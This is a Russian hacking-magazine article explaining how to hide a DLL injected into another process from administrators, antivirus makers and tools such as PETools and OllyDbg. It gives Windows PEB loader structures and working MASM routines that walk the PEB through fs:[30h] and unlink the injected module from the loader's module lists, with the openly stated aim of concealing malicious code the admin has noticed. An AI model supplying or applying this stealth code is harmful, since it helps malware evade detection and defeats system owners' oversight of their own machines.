Представим ситуацию, когда ты вставил свой модуль М в адресное пространство некого процесса П. Это можно сделать множеством методом и об этом речи не пойдет. Представим для примера, что ты инжектировал М с помощью метода Рихтера, то есть комбинируя LoadLibrary с CreateRemoteThread. Так же не пойдет речи о том зачем ты это сделал. Представим, так же для примера, что ты это сделал для того, чтобы обеспечить невидимость выполняемого кода в списке процессов. Так же допустим, что ты сделал этот самый код, который в модуле М, заметным для администратора, то есть админ видит, что что-то идет не так в его системе – постоянное обращение к винту/сетевая
активность/ и_что_угодно_вплоть_до_messageboxa(…,”Админ – лопух!!!”,…). Что сделает опытный админ
(естественно, мы не рассматриваем случай, когда
приемлемо перезагрузить тачку и не волноваться. Допустим, что ты об этом позаботился и прописал каким-либо образом себя в автозагрузку)? Полезет в какой-нить
PETools (обожаю эту прогу :)) искать новые модули в таких процессах, как explorer. Если админ не лопух, то он сразу заметит подвох и просто выгрузит твой модуль из памяти
(есть проги, которые делают FreeLibrary в чужом процессе) или просто перезапустит explorer. В общем, для полной
конспирации надо укрыть свой модуль от глаз админа/
антивирус_майкера и вообще кого угодно. Для этого надо разобраться в том, как получают инфу о модулях такие приложения, как
PETools/OllyDBG (да-да, его Memory Map тоже обламывается :Е ). Обычно это делается с помощью снапшотов
(snapshots) или с помощью NtQuerySystemInformation. Я думаю, что ты знаешь что это такое, но все же
вот описание toolhelp функций, на всякий случай, а
здесь описание
NtQueryInformation.

При диссасемблирование, например, Module32FirstW бросается в глаза работа с регистром fs в режиме пользователя
(происходит call 77e77604, где идет оперирование с указанным выше регистром). Стоит пояснить, как используется регистр fs в 3м
(в 0м этот регистр используется по-иному) кольце Windows’ом. Дело в том, что регистр fs
указывает на Thread Enviroment Block, сокращенно TEB. Подробно описывать зачем/почему/когда и т.д. я не буду, ибо до меня об этом написали такие хорошие люди, как Шрайбер(«Незадокументированные возможности Windows 2000» - неплохая книга…), а недавно и volodya из HI-TECH в рассылке от wasm.ru, где он рассеил пару неточностей. Я дам вам не всю структуру, а только ту часть, которая нас интересует. А именно поле Ldr типа PPEB_LDR_DATA (Шрайбер ошибочно полагал, что там
(смещение от PEB=00C) находиться ProcessModuleInfo типа PPROCESS_MODULE_INFO) в Process Enviroment Block’e(PEB), указатель на который(PEB) можно найти в fs:[30h](он равен 7ffdf000). Почему 30h? Потому что 0h указывает на TEB, а в TEB по смещению 0x30 находиться PEB. Поэтому и fs:[30h].

struct _PEB_LDR_DATA {
/*000*/ unsigned long Length;
/*004*/ unsigned char Initialized;
/*008*/ void* SsHandle;
/*00C*/ struct _LIST_ENTRY InLoadOrderModuleList;
/*014*/ struct _LIST_ENTRY InMemoryOrderModuleList;
/*01C*/ struct _LIST_ENTRY InInitializationOrderModuleList;
};

Нас интересуют последние 3 поля, которые представляют собой входы в двусвязные списки
(очень часто используются виндой). Вот как определил _LIST_ENTRY Шрайбер:

typedef struct _LIST_ENTRY
{
/*000*/ struct _LIST_ENTRY *Flink;
/*004*/ struct _LIST_ENTRY *Blink;
/*008*/ }
LIST_ENTRY;

Причем в Flink указывает на следующий элемент, а Blink на предыдущий. После 004 может находиться все что угодно, а в нашем случае это
_LDR_DATA_TABLE_ENTRY:

struct _LDR_DATA_TABLE_ENTRY {
/*000*/ struct _LIST_ENTRY InLoadOrderLinks;
/*008*/ struct _LIST_ENTRY InMemoryOrderLinks;
/*010*/ struct _LIST_ENTRY InInitializationOrderLinks;
/*018*/ void* DllBase;
/*01c*/ void* EntryPoint;
/*020*/ unsigned long SizeOfImage;
/*024*/ struct _UNICODE_STRING FullDllName;
/*02c*/ struct _UNICODE_STRING BaseDllName;
/*034*/ unsigned long Flags;
/*038*/ unsigned short LoadCount;
/*03a*/ unsigned short TlsIndex;
/*03c*/ struct _LIST_ENTRY HashLinks;
/*03c*/ void* SectionPointer;
/*040*/ unsigned long CheckSum;
/*044*/ unsigned long TimeDateStamp;
/*044*/ void* LoadedImports;
};

Мы видим, что первые 3 элемента структуры – это _LIST_ENTRY, названия которых
соответствуют названиям различных списков. Очевидно, что это не что иное, как указатели на те же самые структуры, но разных списков! А если в название списка совпадает с тем, с которым мы сейчас работаем, то это просто *Flink и *Blink ;). Все это просто очень сильно облегчает нам работу. Итак, определимся, что мы будем делать:

  • переходим к Peb.Ldr
  • переходим к InLoadOrderModuleList (к примеру)
  • сохраняем начальный элемент списка
  • перечисляем InLoadOrderModuleList с помощью первых 8 байт, которые занимают *Flink и *Blink(определяем конец
    списка засчет того, что Flink последнего элемента указывает на начало списка, а мы его сохранили )
  • сравниваем имена BaseDllName с нужным модулем
  • если в прошлом шаге сравнение показало, что это нужная нам запись, то удаляем ее из всех списков, иначе продолжаем...

Как ты заметил, для определения BaseDllName (ровно, как и FullDllName) используется структура UNICODE_STRING. Вот ее определение по Шрайберу:

typedef struct _UNICODE_STRING
{
/*000*/ USHORT Length;
/*002*/ USHORT MaximumLength;
/*004*/ PWSTR Buffer;
/*008*/ }
UNICODE_STRING;

Нас, естественно, интересует только Buffer, поэтому смещаться будем к 004.
Еще непонятки может вызвать способ удаления элемента из списка. Делается это так: в Flink’е прошлого элемента записываем Flink удаляемого элемента, соответственно в Blink следующего элемента записываем Blink удаляемого. Вот немного корявый вариант реализации(но работает ведь :)):

DeleteListEntry proc USES eax ebx ListEntry: DWORD 
mov eax, ListEntry
mov eax, [eax+4]

mov ebx, [eax] ; Flink
mov ebx, [ebx]
mov dword ptr [eax], ebx

mov ebx, [eax+4] ; Blink
mov ebx, [ebx+4]
mov dword ptr [eax+4], ebx 
ret
DeleteListEntry endp

Как видишь, нет никаких проверок, seh’ов и остальных приблудов... Перестрахуешься
(а еще в рекламе говориться, что слово «страхование» произошло от слова «страх»...) сам – не маленький.

Короче говоря, вот код на ассемблере. Он элементарный и все углы поясняют комментарии. Тем не менее есть одна особенность, о которой я расскажу после кода...

; Удаляет модуль из списков... Параметр – КОРОТКОЕ
(без пути) имя модуля

DelModuleFromPEBNtA proc USES ecx ebx eax modname: PCHAR 
local pfirstmod : DWORD 
local modn[255] : DWORD 
;
Мы приняли ANSI строку – не порядок! Переводим ее в UNICODE строку 
invoke MultiByteToWideChar, CP_ACP, 0, modname, -1, addr modn, 255
assume fs: nothing 
mov eax, fs:[30h] ;
Здесь находиться Peb
mov eax, [eax+0Ch] ;
Смещаемся к структуре Ldr
mov eax, [eax+0Ch] ;
Смотрим на список InLoadOrderModuleList
;
Сохраняем адрес первого в списке модуля, чтобы не войти в бесконечный цикл
(это ж двусвязный список)

mov pfirstmod, eax
continue: 
mov ecx, [eax+30h] ; BaseDllName 
push eax 
invoke lstrcmpiW, ecx, addr modn 
cmp eax, 0 
pop eax
je Found 
mov eax, [eax] ;
Переходим к следующему элементу(Flink)
cmp eax, pfirstmod
jne continue
ret
Found: 
;
Собственно удаляем элемент из Ldr.InLoadOrderModuleList
push eax
call DeleteListEntry
;
Смещаемся к Ldr.InMemoryOrderModuleList 
add eax, 8 
;
И удаляем элемент оттудова 😉 
push eax
call DeleteListEntry 
comment @
add eax, 8
push eax
call DeleteListEntry 
@
ret
DelModuleFromPEBNtA endp

Check Also

Стань автором «Хакера»!

«Хакеру» нужны новые авторы, и ты можешь стать одним из них! Если тебе интересно то, о чем…

Оставить мнение